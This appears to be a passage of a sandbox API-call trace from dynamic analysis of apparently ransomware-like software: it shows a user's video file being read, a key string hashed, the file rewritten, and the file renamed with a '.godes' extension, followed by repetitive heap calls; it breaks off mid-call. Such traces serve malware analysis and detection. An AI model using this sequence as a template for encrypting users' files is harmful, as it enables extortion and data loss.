ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x5a2e, lpOverlapped=0x0) returned 1 [0114.438] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.438] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.438] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.438] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.438] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740da0) returned 1 [0114.439] CryptCreateHash (in: hProv=0x740da0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.439] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.439] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.439] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.439] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.439] GetLastError () returned 0x0 [0114.439] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.439] CryptReleaseContext (hProv=0x740da0, dwFlags=0x0) returned 1 [0114.439] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.439] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x5a30) returned 0x3323120 [0114.440] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.440] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.440] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x5a29, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x5a29, lpOverlapped=0x0) returned 1 [0114.440] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.440] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5a2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.440] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.440] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3323120 [0114.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3323120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.440] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3323550 [0114.440] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.440] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.440] WriteFile (in: hFile=0x624, lpBuffer=0x3323550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3323550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.440] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323550 | out: hHeap=0x660000) returned 1 [0114.440] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.440] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.440] CloseHandle (hObject=0x624) returned 1 [0114.443] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.443] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3323120 [0114.443] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.443] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\s3BE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\s3be.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\s3BE.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\s3be.mp4.godes")) returned 1 [0114.445] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.445] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.446] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7e3a30, ftCreationTime.dwHighDateTime=0x1d4d55a, ftLastAccessTime.dwLowDateTime=0xed4fd870, ftLastAccessTime.dwHighDateTime=0x1d4c80d, ftLastWriteTime.dwLowDateTime=0xed4fd870, ftLastWriteTime.dwHighDateTime=0x1d4c80d, nFileSizeHigh=0x0, nFileSizeLow=0x5a2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s3BE.mp4", cAlternateFileName="")) returned 0 [0114.446] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.446] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320270 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320340 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320680 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f480 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f408 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f390 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f318 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f750 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33206e8 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740e28 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f7c8 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f840 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f8b8 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320750 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f9a8 | out: hHeap=0x660000) returned 1 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7410d0 | out: hHeap=0x660000) returned 1 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33202d8 | out: hHeap=0x660000) returned 1 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f9a8 [0114.447] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.447] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.448] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.448] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f930 | out: hHeap=0x660000) returned 1 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.452] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, 